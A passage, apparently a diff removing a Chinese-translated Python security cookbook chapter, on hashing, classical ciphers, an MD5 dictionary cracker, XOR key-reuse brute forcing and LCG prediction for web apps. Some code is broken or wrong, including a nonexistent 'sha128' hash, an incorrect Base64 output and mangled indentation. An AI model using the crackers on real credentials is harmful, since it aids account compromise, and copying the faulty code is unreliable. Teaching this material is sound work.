-由于我们可以导入的模块的性质，在 Python 中生成 MD5 哈希非常简单。我们需要定义要导入的模块，然后决定要散列哪个字符串。我们应该将其硬编码到脚本中，但这意味着每次对新字符串进行哈希运算时都必须修改脚本。
-
-相反，我们使用 Python 中的`raw_input`功能向用户请求字符串：
-
-```
-import hashlib
-message = raw_input("Enter the string you would like to hash: ")
-md5 = hashlib.md5(message.encode())
-print (md5.hexdigest())
-```
-
-## 它是如何工作的…
-
-`hashlib`模块在幕后为我们完成了大部分工作。Hashlib 是一个巨大的库，它使用户能够非常快速、轻松地对 MD5、SHA1、SHA256 和 SHA512 等进行哈希运算。这就是使用本模块的理由。
-
-我们首先使用标准方法导入模块：
-
-```
-import hashlib
-```
-
-然后我们需要我们希望 MD5 编码的字符串。如前所述，这可以硬编码到脚本中，但并不十分实用。解决方法是使用`raw_input`功能向用户请求输入。这可以通过以下方式实现：
-
-```
-message = raw_input("Enter what you wish to ask the user here: ")
-```
-
-一旦有了输入，我们就可以继续使用 hashlib 的内置函数对字符串进行编码。为此，在定义要使用的字符串后，我们只需调用`.encode()`函数：
-
-```
-md5 = hashlib.md5(message.encode())
-```
-
-最后，我们可以打印使用`.hexdigest()`函数的字符串的输出。如果我们不使用`hexdigest`，将打印每个字节的十六进制表示。
-
-下面是一个例子的脚本正在全面展开：
-
-```
-Enter the string you would like to hash: pythonrules
-048c0fc556088fabc53b76519bfb636e
-
-```
-
-# 生成 SHA 1/128/256 哈希
-
-SHA 哈希也非常常用，与 MD5 哈希一起使用。SHA 哈希的早期实现始于 SHA1，由于哈希的弱点，现在很少使用 SHA1。SHA1 之后是 SHA128，然后被 SHA256 取代。
-
-## 准备好了吗
-
-同样，对于这些脚本，我们只需要`hashlib`模块。
-
-## 怎么做…
-
-通过使用导入的模块，在 Python 中生成 SHA 哈希也非常简单。通过简单的调整，我们可以更改是生成 SHA1、SHA128 还是 SHA256 哈希。
-
-以下是三个不同的脚本，允许我们生成不同的 SHA 哈希：
-
-以下是 SHA1 的脚本：
-
-```
-import hashlib
-message = raw_input("Enter the string you would like to hash: ")
-sha = hashlib.sha1(message)
-sha1 = sha.hexdigest()
-print sha1
-```
-
-以下是 SHA128 的脚本：
-
-```
-import hashlib
-message = raw_input("Enter the string you would like to hash: ")
-sha = hashlib.sha128(message)
-sha128 = sha.hexdigest()
-print sha128
-```
-
-以下是 SHA256 的脚本：
-
-```
-import hashlib
-message = raw_input("Enter the string you would like to hash: ")
-sha = hashlib.sha256(message)
-sha256 = sha.hexdigest()
-print sha256
-```
-
-## 它是如何工作的…
-
-`hashlib`模块再次为我们完成了大部分工作。我们可以利用模块内的功能。
-
-我们首先使用以下方法导入模块：
-
-```
-import hashlib
-```
-
-然后我们需要提示使用 SHA 对字符串进行编码。我们要求用户输入，而不是使用硬编码，这样脚本就可以反复使用。这可以通过以下方式实现：
-
-```
-message = raw_input("Enter the string you would like to hash: )
-```
-
-一旦我们有了字符串，我们就可以开始编码过程了。下一部分取决于您要使用的 SHA 编码：
-
-```
-sha = hashlib.sha*(message)
-```
-
-我们需要将`*`替换为`1`、`128`或`256`。一旦我们对消息进行了 SHA 编码，我们需要再次使用`hexdigest()`函数，以便输出变得可读。
-
-我们通过以下方式做到这一点：
-
-```
-sha*=sha.hexdigest()
-```
-
-一旦输出变得可读，我们只需打印哈希输出：
-
-```
-print sha*
-```
-
-# 同时实现 SHA 和 MD5 哈希
-
-在本节中，我们将了解 SHA 和 MD5 散列如何协同工作。
-
-## 准备好了吗
-
-对于下面的脚本，我们只需要`hashlib`模块。
-
-## 怎么做…
-
-我们将把之前所做的一切结合在一起，形成一个大剧本。这将输出三个版本的 SHA 哈希和一个 MD5 哈希，因此用户可以选择使用哪一个：
-
-```
-import hashlib
-
-message = raw_input("Enter the string you would like to hash: ")
-
-md5 = hashlib.md5(message)
-md5 = md5.hexdigest()
-
-sha1 = hashlib.sha1(message)
-sha1 = sha1.hexdigest()
-
-sha256 = hashlib.sha256(message)
-sha256 = sha256.hexdigest()
-
-sha512 = hashlib.sha512(message)
-sha512 = sha512.hexdigest()
-
-print "MD5 Hash =", md5
-print "SHA1 Hash =", sha1
-print "SHA256 Hash =", sha256
-print "SHA512 Hash =", sha512
-print "End of list."
-```
-
-## 它是如何工作的…
-
-再次，在将正确的模块导入此脚本后，我们需要接收用户输入，我们希望将其转换为编码字符串：
-
-```
-import hashlib
-message = raw_input('Please enter the string you would like to hash: ')
-```
-
-从这里开始，我们可以通过所有不同的编码方法发送字符串，并确保它们通过`hexdigest()`传递，以便输出变得可读：
-
-```
-md5 = hashlib.md5(message)
-md5 = md5.hexdigest()
-
-sha1 = hashlib.sha1(message)
-sha1 = sha1.hexdigest()
-
-sha256 = hashlib.sha256(message)
-sha256 = sha256.hexdigest()
-
-sha512 = hashlib.sha512(message)
-sha512 = sha512.hexdigest()
-```
-
-一旦我们创建了所有编码字符串，只需将其中的每一个打印给用户即可：
-
-```
-print "MD5 Hash =", md5
-print "SHA1 Hash =", sha1
-print "SHA256 Hash =", sha256
-print "SHA512 Hash =", sha512
-print "End of list."
-```
-
-下面是一个正在运行的脚本的示例：
-
-```
-Enter the string you would like to hash: test
-MD5 Hash = 098f6bcd4621d373cade4e832627b4f6
-SHA1 Hash= a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
-SHA256 Hash= 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
-SHA512 Hash= ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0 db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff
-End of list.
-
-```
-
-# 在真实场景中实现 SHA
-
-下面是一个实际 SHA 实现的示例。
-
-## 准备好了吗
-
-对于这个脚本，我们需要`hashlib`库和`uuid`库。
-
-## 怎么做…
-
-对于这个现实世界的示例，我们将实现一个 SHA256 编码方案，并生成一个 salt，通过击败预计算的哈希表使其更加安全。然后，我们将对其进行密码检查，以确保键入的密码正确：
-
-```
-#!/usr/bin/python
-import uuid
-import hashlib
-
-# Let's do the hashing. We create a salt and append it to the password once hashes.
-
-def hash(password):
- salt = uuid.uuid4().hex
- return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt
-
-# Let's confirm that worked as intended.
-
-def check(hashed, p2):
- password, salt = hashed.split(':')
- return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest()
-
-password = raw_input('Please enter a password: ')
-hashed = hash(password)
-print('The string to store in the db is: ' + hashed)
-re = raw_input('Please re-enter your password: ')
-
-# Let's ensure the passwords matched
-
-if check(hashed, re):
- print('Password Match')
-else:
- print('Password Mismatch')
-```
-
-## 它是如何工作的…
-
-要开始脚本，我们需要导入正确的库：
-
-```
-import uuid
-import hashlib
-```
-
-然后我们需要定义散列密码的函数。我们首先使用`uuid`库创建一个 salt。生成 salt 后，我们使用`hashlib.sha256`将 salt 编码和密码编码串在一起，并使用`hexdigest`使其可读，最后将 salt 附加到其末尾：
-
-```
-def hash(password):
- salt = uuid.uuid4().hex
- return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt
-```
-
-接下来，我们进入检查密码功能。这将确认我们的原始密码与第二个密码相同，以确保没有错误。这是通过使用与之前相同的方法完成的：
-
-```
-def check(hashed, p2):
- password, salt = hashed.split(':')
- return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest()
-```
-
-一旦我们创建了所需的代码块，我们就可以开始向用户请求所需的输入。我们首先请求原始密码并使用`hash_password`函数创建散列。然后将其打印给用户。完成第一个密码后，我们会再次要求输入密码，以确保没有拼写错误。然后，`check_password`函数再次散列密码，并将原始密码与新密码进行比较。如果匹配，则通知用户密码正确；如果不匹配，则通知用户密码不匹配：
-
-```
-password = raw_input('Please enter a password: ')
-hashed = hash(password)
-print('The string to store in the db is: ' + hashed)
-re = raw_input('Please re-enter your password: ')
-if check(hashed, re):
- print('Password Match')
-else:
- print('Password Mismatch')
-```
-
-下面是正在使用的代码示例：
-
-```
-Please enter a password: password
-The string to store in the db is: a8be1e0e023e2c9c1e96187c4b966222ccf1b7d34718ad60f8f000094d39 d8dd3eeb837af135bfe50c7baea785ec735ed04f230ffdbe2ed3def1a240c 97ca127:d891b46fc8394eda85ccf85d67969e82
-Please re-enter your password: password
-Password Match
-
-```
-
-前面的结果是用户输入相同密码两次的示例。以下是用户未能输入相同密码的示例：
-
-```
-Please enter a password: password1
-The string to store in the db is: 418bba0beeaef52ce523dafa9b19baa449562cf034ebd1e4fea8c007dd49cb 1004e10b837f13d59b13236c54668e44c9d0d8dbd03e32cd8afad6eff04541 ed07:1d9cd2d9de5c46068b5c2d657ae45849
-Please re-enter your password: password
-Password Mismatch
-
-```
-
-# 生成 Bcrypt 哈希
-
-一个不太常用但更安全的散列函数是**Bcrypt**。Bcrypt 哈希被设计为在加密和解密哈希时速度较慢。这种设计用于防止散列在散列泄露给公众（例如数据库泄露）时容易被破解。
-
-## 准备好了吗
-
-对于这个脚本，我们将在 Python 中使用`bcrypt`模块。这可以通过使用`pip`或`easy_install`进行安装，尽管您希望确保安装的是版本 0.4，而不是版本 1.1.1，因为版本 1.1.1 从`Bcrypt`模块中删除了一些功能。
-
-## 怎么做…
-
-在 Python 中生成 Bcrypt 哈希与生成其他哈希（如 SHA 和 MD5）类似，但也略有不同。与其他哈希一样，我们可以提示用户输入密码，也可以将密码硬编码到脚本中。由于使用随机生成的盐，Bcrypt 中的散列更为复杂，这些盐会附加到原始散列中。这增加了哈希函数的复杂性，因此提高了哈希函数中存储的密码的安全性。
-
-这个脚本的末尾还有一个`checking`模块，它与一个真实的示例有关。它要求用户重新输入要散列的密码，并确保密码与原始输入匹配。密码确认在许多开发人员中是一种非常普遍的做法，在现代，几乎所有的注册表都使用这种方式：
-
-```
-import bcrypt
-# Let's first enter a password
-new = raw_input('Please enter a password: ')
-# We'll encrypt the password with bcrypt with the default salt value of 12
-hashed = bcrypt.hashpw(new, bcrypt.gensalt())
-# We'll print the hash we just generated
-print('The string about to be stored is: ' + hashed)
-# Confirm we entered the correct password
-plaintext = raw_input('Please re-enter the password to check: ')
-# Check if both passwords match
-if bcrypt.hashpw(plaintext, hashed) == hashed:
- print 'It\'s a match!'
-else:
- print 'Please try again.'
-```
-
-## 它是如何工作的…
-
-我们通过导入所需的模块来启动脚本。在这种情况下，我们只需要`bcrypt`模块：
-
-```
-import bcrypt
-```
-
-然后，我们可以使用标准的`raw_input`方法向用户请求输入：
-
-```
-new = raw_input('Please enter a password: ')
-```
-
-在我们得到输入之后，我们就可以开始讨论基本的散列方法了。首先，我们使用`bcrypt.hashpw`函数对输入进行散列。然后我们给它输入密码的值，然后使用`bcrypt.gensalt()`随机生成一个 salt。这可以通过以下方式实现：
-
-```
-hashed = bcrypt.hashpw(new, bcrypt.gensalt())
-```
-
-然后，我们将散列值打印给用户，以便用户可以看到已生成的散列：
-
-```
-print ('The string about to be stored is: ' + hashed)
-```
-
-现在，我们开始密码确认。我们必须再次提示用户输入密码，以便确认他们输入的密码是否正确：
-
-```
-plaintext = raw_input('Please re-enter the password to check: ')
-```
-
-获得密码后，我们使用 Python 中的`==`功能检查两个密码是否匹配：
-
-```
-If bcrypt.hashpw(plaintext, hashed) == hashed:
- print "It\'s a match"
-else:
- print "Please try again".
-```
-
-我们可以看到脚本正在运行，如下所示：
-
-```
-Please enter a password: example
-The string about to be stored is: $2a$12$Ie6u.GUpeO2WVjchYg7Pk.741gWjbCdsDlINovU5yubUeqLIS1k8e
-Please re-enter the password to check: example
-It's a match!
-
-Please enter a password: example
-The string about to be stored is: $2a$12$uDtDrVCv2vqBw6UjEAYE8uPbfuGsxdYghrJ/YfkZuA7vaMvGIlDGe
-Please re-enter the password to check: incorrect
-Please try again.
-
-```
-
-# 破解 MD5 哈希
-
-由于 MD5 是一种加密方法，并且是公开可用的，因此可以使用破解哈希的常用方法创建哈希冲突。这反过来会“破解”散列，并在字符串经过 MD5 处理之前将其值返回给您。这通常是通过“字典”攻击实现的。这包括通过 MD5 编码过程运行单词列表，并检查其中是否有任何单词与您试图破解的 MD5 哈希匹配。这是因为如果对同一个单词进行哈希运算，MD5 哈希值总是相同的。
-
-## 准备好了吗
-
-对于这个脚本，我们只需要`hashlib`模块。
-
-## 怎么做…
-
-要开始破解 MD5 散列，我们需要加载一个包含将在 MD5 中加密的单词列表的文件。这将允许我们循环哈希并检查是否有匹配项：
-
-```
-import hashlib
-target = raw_input("Please enter your hash here: ")
-dictionary = raw_input("Please enter the file name of your dictionary: ")
-def main():
- with open(dictionary) as fileobj:
- for line in fileobj:
- line = line.strip()
- if hashlib.md5(line).hexdigest() == target:
- print "Hash was successfully cracked %s: The value is %s" % (target, line)
- return ""
- print "Failed to crack the file."
-if __name__ == "__main__":
- main()
-```
-
-## 它是如何工作的…
-
-我们首先将模块正常加载到 Python 中：
-
-```
-import hashlib
-```
-
-我们需要用户输入要破解的哈希以及要加载以破解的词典的名称：
-
-```
-target = raw_input("Please enter your hash here: ")
-dictionary = raw_input("Please enter the file name of your dictionary: ")
-```
-
-一旦我们有了想要破解的散列和字典，我们就可以继续编码了。我们需要打开`dictionary`文件并逐个对每个字符串进行编码。然后，我们可以检查是否有任何哈希值与我们要破解的原始哈希值匹配。如果存在匹配项，我们的脚本将通知我们并给出值：
-
-```
-def main():
- with open(dictionary) as fileobj:
- for line in fileobj:
- line = line.strip()
- if hashlib.md5(line).hexdigest() == target:
- print "Hash was successfully cracked %s: The value is %s" % (target, line)
- return ""
- print "Failed to crack the file."
-```
-
-现在只需运行程序：
-
-```
-if __name__ == "__main__":
- main()
-```
-
-现在让我们来看一下正在运行的脚本：
-
-```
-Please enter your hash here: 5f4dcc3b5aa765d61d8327deb882cf99
-Please enter the file name of your dictionary: dict.txt
-Hash was successfully cracked 5f4dcc3b5aa765d61d8327deb882cf99: The value is password
-
-```
-
-# 使用 Base64 编码
-
-Base64 是迄今为止经常使用的一种编码方法。它非常容易编码和解码，这使得它既非常有用，也非常危险。Base64 不再常用于对敏感数据进行编码，但曾经有一段时间是这样的。
-
-## 准备好了吗
-
-感谢 Base64 编码，我们不需要任何外部模块。
-
-## 怎么做…
-
-要生成 Base64 编码字符串，我们可以使用默认 Python 功能来帮助我们实现它：
-
-```
-#!/usr/bin/python
-msg = raw_input('Please enter the string to encode: ')
-print "Your B64 encoded string is: " + msg.encode('base64')
-```
-
-## 它是如何工作的…
-
-在 Python 中用 Base64 编码字符串非常简单，可以在两行脚本中完成。首先，我们需要将字符串作为用户输入提供给我们，这样我们就可以使用以下内容：
-
-```
-msg = raw_input('Please enter the string to encode: ')
-```
-
-获得字符串后，我们可以在打印结果时使用`msg.encode('base64')`进行编码：
-
-```
-print "Your B64 encoded string is: " + msg.encode('base64')
-```
-
-下面是一个脚本运行的示例：
-
-```
-Please enter the string to encode: This is an example
-Your B64 encoded string is: VghpcyBpcyBhbiBleGFtcGxl
-
-```
-
-# 用 ROT13 编码
-
-ROT13 编码绝对不是最安全的编码方法。通常情况下，ROT13 在很多年前被用来在论坛上隐藏冒犯性笑话，作为一种**工作不安全**（**NSFW**标签，这样人们就不会立即看到评论。这些天来，它主要用于**捕获旗帜**（**CTF**）挑战，你会发现原因。
-
-## 准备好了吗
-
-对于这个脚本，我们需要非常具体的模块。我们需要`maketrans`功能，以及`string`模块中的小写和大写功能。
-
-## 怎么做…
-
-要使用 ROT13 编码方法，我们需要复制 ROT13 密码的实际功能。13 表示每个字母将沿字母表刻度移动 13 个位置，这使得编码非常容易反转：
-
-```
-from string import maketrans, lowercase, uppercase
-def rot13(message):
- lower = maketrans(lowercase, lowercase[13:] + lowercase[:13])
- upper = maketrans(uppercase, uppercase[13:] + uppercase[:13])
- return message.translate(lower).translate(upper)
-message = raw_input('Enter :')
-print rot13(message)
-```
-
-## 它是如何工作的…
-
-这是我们的第一个脚本，它不仅仅需要`hashlib`模块；相反，它需要字符串的特定功能。我们可以使用以下方法导入这些内容：
-
-```
-from string import maketrans, lowercase, uppercase
-```
-
-接下来，我们可以创建一个代码块来为我们进行编码。我们使用 Python 的`maketrans`特性告诉解释器将字母移动 13 个位置，并将大写字母保持在大写字母内，将小写字母保持在小写字母内。然后，我们要求它将值返回给我们：
-
-```
-def rot13(message):
- lower = maketrans(lowercase, lowercase[13:] + lowercase[:13])
- upper = maketrans(uppercase, uppercase[13:] + uppercase[:13])
- return message.translate(lower).translate(upper)
-```
-
-然后我们需要向用户请求一些输入，这样我们就有了一个字符串来处理；这是以传统方式完成的：
-
-```
-message = raw_input('Enter :')
-```
-
-一旦有了用户输入，我们就可以打印通过`rot13`代码块传递的字符串值：
-
-```
-print rot13(message)
-```
-
-以下是正在使用的代码示例：
-
-```
-Enter :This is an example of encoding in Python
-Guvf vf na rknzcyr bs rapbqvat va Clguba
-
-```
-
-# 破解替换密码
-
-以下是最近遇到的一个真实场景的示例。替换密码是将字母替换为其他字母以形成新的隐藏消息。在由“NullCon”主持的 CTF 中，我们遇到了一个看起来像替换密码的挑战。挑战是：
-
-查找密钥：
-
-```
-TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGe ErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTm PbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtEr GePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHf TaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmTlAt TbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbGeIr TbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtErGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfAuOs TmPd
-```
-
-## 准备好了吗
-
-对于该脚本，不需要任何外部库。
-
-## 怎么做…
-
-为了解决这个问题，我们对周期字典中的值运行字符串，并将发现的值转换为 ascii 格式。这返回了我们最终答案的输出：
-
-```
-string = "TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoA uGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmP tTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbP tErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGeP oHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmT lAtTbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbG eIrTbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtE rGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfA uOsTmPd"
-
-n=2
-list = []
-answer = []
-
-[list.append(string[i:i+n]) for i in range(0, len(string), n)]
-
-print set(list)
-
-periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, "Ir": 77}
-
-for value in list:
- if value in periodic:
- answer.append(chr(periodic[value]))
-
-lastanswer = ''.join(answer)
-print lastanswer
-```
-
-## 它是如何工作的…
-
-为了启动这个脚本，我们首先在脚本中定义了`key`字符串。然后将`n`变量定义为`2`供以后使用，并创建了两个空列表-列表和答案：
-
-```
-string = --snipped--
-n=2
-list = []
-answer = []
-```
-
-然后，我们开始创建列表，该列表遍历字符串，取出两个字母的集合，并将它们附加到列表值，然后打印：
-
-```
-[list.append(string[i:i+n]) for i in range(0, len(string), n)]
-print set(list)
-```
-
-这两个字母中的每一个都对应于周期表中的一个值，该值与一个数字有关。转换为 ascii 码时与字符相关的数字。一旦发现这一点，我们需要将元素映射到它们的周期数并存储：
-
-```
-periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, "Ir": 77}
-```
-
-然后我们可以创建一个循环，该循环将遍历我们之前创建并命名为**列表**的元素列表，并将它们映射到我们创建的`periodic`数据集中的值。在运行时，我们可以让它将结果附加到我们的答案字符串中，同时将 ascii 数字转换为相关字母：
-
-```
-for value in list:
- if value in periodic:
- answer.append(chr(periodic[value]))
-```
-
-最后，我们需要将数据打印给我们：
-
-```
-lastanswer = ''.join(answer)
-print lastanswer
-```
-
-以下是脚本运行的示例：
-
-```
-set(['Pt', 'Pb', 'Tl', 'Lu', 'Ra', 'Pd', 'Rn', 'Rh', 'Po', 'Ta', 'Fr', 'Tb', 'Yb', 'Bi', 'Ho', 'Hf', 'Hg', 'Os', 'Ir', 'Ge', 'Tm', 'Au', 'At', 'Er'])
-IT IS THE FUNCTION OF SCIENCE TO DISCOVER THE EXISTENCE OF A GENERAL REIGN OF ORDER IN NATURE AND TO FIND THE CAUSES GOVERNING THIS ORDER. AND THIS REFERS IN EQUAL MEASURE TO THE RELATIONS OF MAN - SOCIAL AND POLITICAL - AND TO THE ENTIRE UNIVERSE AS A WHOLE.
-
-```
-
-# 破解 Atbash 密码
-
-Atbash 密码是一种简单的密码，它使用字母表中的相反值来转换单词。例如，A 等于 Z，C 等于 X。
-
-## 准备好了吗
-
-为此，我们只需要`string`模块。
-
-## 怎么做…
-
-由于 Atbash 密码的工作原理是使用字母表中字符的相反值，因此我们可以创建一个`maketrans`功能来替换字符：
-
-```
-import string
-input = raw_input("Please enter the value you would like to Atbash Cipher: ")
-transform = string.maketrans(
-"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
-"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba")
-final = string.translate(input, transform)
-print final
-```
-
-## 它是如何工作的…
-
-在导入正确的模块后，我们请求用户输入他们想要加密到 Atbash 密码中的值：
-
-```
-import string
-input = raw_input("Please enter the value you would like to Atbash Ciper: ")
-```
-
-接下来，我们创建要使用的`maketrans`特性。为此，我们列出了第一组要替换的字符，然后列出了另一组用于替换先前字符的字符：
-
-```
-transform = string.maketrans(
-"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
-"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba")
-```
-
-最后，我们只需要为转换提供一个值，应用它，并打印出该值以获得最终结果：
-
-```
-final = string.translate(input, transform)
-print final
-```
-
-下面是一个正在运行的脚本示例：
-
-```
-Please enter the value you would like to Atbash Cipher: testing
-gvhgrmt
-
-```
-
-# 攻击一次性 pad 重复使用
-
-一次性 pad 的概念是早期密码学的基本核心。基本上，一个短语是由各方记忆的，当一条消息被发送时，它在每一步都会随着这个短语移动。例如，如果短语为`apple`且消息为`i like them`，那么我们将`a`添加到`i`以获得`j`等，最终接收编码消息。
-
-最近，许多恶意软件工程师和坏软件工程师使用 XORing 执行相同的活动。漏洞所在以及我们可以创建有用脚本的地方是同一密钥被多次使用的地方。如果使用相同的基于 ascii 的字符串对多个基于 ascii 的字符串进行异或运算，我们可以通过使用 ascii 值逐字符对所有字符串进行异或运算来同时对字符串进行暴力处理。
-
-下面的脚本将从文件中获取 XORD 值的列表，并逐个字符对其进行暴力处理。
-
-## 准备好了吗
-
-将 XORed 短语列表放入文件中。将该文件与脚本放在同一个文件夹中（或者不放；这样做只会稍微容易一点）。
-
-## 怎么做…
-
-脚本应该如下所示：
-
-```
-import sys
-import string
-
-f = open("ciphers.txt", "r")
-
-MSGS = f.readlines()
-
-def strxor(a, b):
- if len(a) > len(b):
- return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
- else:
- return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])
-
-def encrypt(key, msg):
- c = strxor(key, msg)
- return c
-
-for msg in MSGS:
-for value in string.ascii_letters:
-for value2 in string.ascii_letters:
- for value3 in string.ascii_letters:
-key = value+value2+value3
-answer = encrypt(msg, key)
-print answer[3:]
-```
-
-## 它是如何工作的…
-
-这个脚本非常简单。我们打开一个包含 XORD 值的文件，并将其按行拆分：
-
-```
-f = open("ciphers.txt", "r")
-
-MSGS = f.readlines()
-```
-
-我们无耻地使用行业标准`XOR`python。基本上，该函数将两个长度相同的字符串等同起来，`XOR`将它们放在一起：
-
-```
-def strxor(a, b):
- if len(a) > len(b):
- return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
- else:
- return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])
-
-def encrypt(key, msg):
- c = strxor(key, msg)
- return c
-```
-
-然后我们对所有 ascii 值运行三次，以获得`ciphers.txt`文件中每一行从`aaa`到`zzz`的所有组合。每次我们都将 ascii 循环的值分配给键：
-
-```
-for msg in MSGS:
-for value in string.ascii_letters:
-for value2 in string.ascii_letters:
- for value3 in string.ascii_letters:
-key = value+value2+value3
-```
-
-然后，我们用生成的密钥加密该行并将其打印出来。我们可以轻松地通过管道将其传输到文件中，正如我们在整个模块中已经展示的：
-
-```
-answer = encrypt(msg, key)
-print answer[3:]
-```
-
-# 预测线性同余发生器
-
-LCG 在 web 应用程序中用于创建快速、简单的伪随机数。它们本质上是不可靠的，并且可以通过足够的数据轻松地进行预测。LCG 的算法为：
-
-
-
-此处，**X**为当前值，**a**为固定乘数，**c**为固定增量，**m**为固定模量。如果泄漏了任何数据，例如本例中的乘数、模数和增量，则可以计算种子，从而计算下一个值。
-
-## 准备好了吗
-
-这里的情况是应用程序生成随机的两位数并返回给您。有乘数、模数和增量。这可能看起来很奇怪，但这在现场测试中已经发生了。
-
-## 怎么做…
-
-代码如下：
-
-```
-C = ""
-A = ""
-M = ""
-
-print "Starting attempt to brute"
-
-for i in range(1, 99999999):
- a = str((A * int(str(i)+'00') + C) % 2**M)
- if a[-2:] == "47":
- b = str((A * int(a) + C) % 2**M)
- if b[-2:] == "46":
- c = str((A * int(b) + C) % 2**M)
- if c[-2:] == "57":
- d = str((A * int(c) + C) % 2**M)
- if d[-2:] == "56":
- e = str((A * int(d) + C) % 2**M)
- if e[-2:] == "07":
- f = str((A * int(e) + C) % 2**M)
- if f[-2:] == "38":
- g = str((A * int(f) + C) % 2**M)
- if g[-2:] == "81":
- h = str((A * int(g) + C) % 2**M)
- if h[-2:] == "32":
- j = str((A * int(h) + C) % 2**M)
- if j[-2:] == "19":
- k = str((A * int(j) + C) % 2**M)
- if k[-2:] == "70":
- l = str((A * int(k) + C) % 2**M)
- if l[-2:] == "53":
- print "potential number found: "+l
-print "next 9 values are:"
-for i in range(1, 10):
- l = str((A * int(l) + C) % 2**M)
- print l[-2:]
-```
-
-## 它是如何工作的…
-
-我们将我们的三个值，增量、乘数和模分别设置为`C`、`A`和`M`：
-
-```
-C = ""
-A = ""
-M = ""
-```
-
-然后，我们声明种子可能大小的范围，在本例中，该范围将在 1 到 8 位之间：
-
-```
-for i in range(1, 99999999):
-```
-
-然后，我们执行第一个 LCG 转换，并使用从以下示例中标记为突出显示的网页中获取的第一个值生成可能的值：
-
-```
-a = str((A * int(str(i)+'00') + C) % 2**M)
-```
-
-我们获取网页生成的第二个值，并根据该值检查此转换的结果：
-
-```
- if a[-2:] == "47":
-```
-
-如果有效，我们将使用与第一次变换匹配的数字执行下一次变换：
-
-```
- b = str((A * int(a) + C) % 2**M)
-```
-
-我们在这里重复这个过程 10 次，但可以根据需要重复多次，直到我们找到一个到目前为止匹配所有数字的输出。我们打印带有该编号的警报：
-
-```
-print "potential number found: "+l
-```
-
-然后，我们将这个过程再重复 10 次，以这个数字作为种子，生成接下来的 10 个值，以便我们预测新的值。
-
-# 识别散列
-
-几乎您使用的每个存储密码的 web 应用程序都应该以某种哈希格式存储您的凭据，以增加安全性。一个好的用户密码哈希系统在数据库被盗的情况下非常有用，因为这将延长黑客破解密码所需的时间。
-
-出于这个原因，我们有许多不同的散列方法，其中一些方法在不同的应用程序中重用，例如 MD5 和 SHA 散列，但有些方法，例如 Des（UNIX）不太常见。因此，最好能够将散列值与其所属的散列函数相匹配。我们不能完全基于散列长度，因为许多散列函数共享相同的长度，因此为了帮助我们，我们将使用**正则表达式**（**正则表达式**。这允许我们定义长度、使用的字符以及是否存在任何数值。
-
-## 准备好了吗
-
-对于这个脚本，我们将只使用`re`模块。
-
-## 怎么做…
-
-如前所述，我们将以 Regex 值为基础编写脚本，并使用这些值将输入哈希映射到存储的哈希值。这将允许我们非常快速地为哈希选择潜在的匹配项：
-
-```
-import re
-def hashcheck (hashtype, regexstr, data):
- try:
- valid_hash = re.finditer(regexstr, data)
- result = [match.group(0) for match in valid_hash]
- if result:
- return "This hash matches the format of: " + hashtype
- except: pass
-string_to_check = raw_input('Please enter the hash you wish to check: ')
-hashes = (
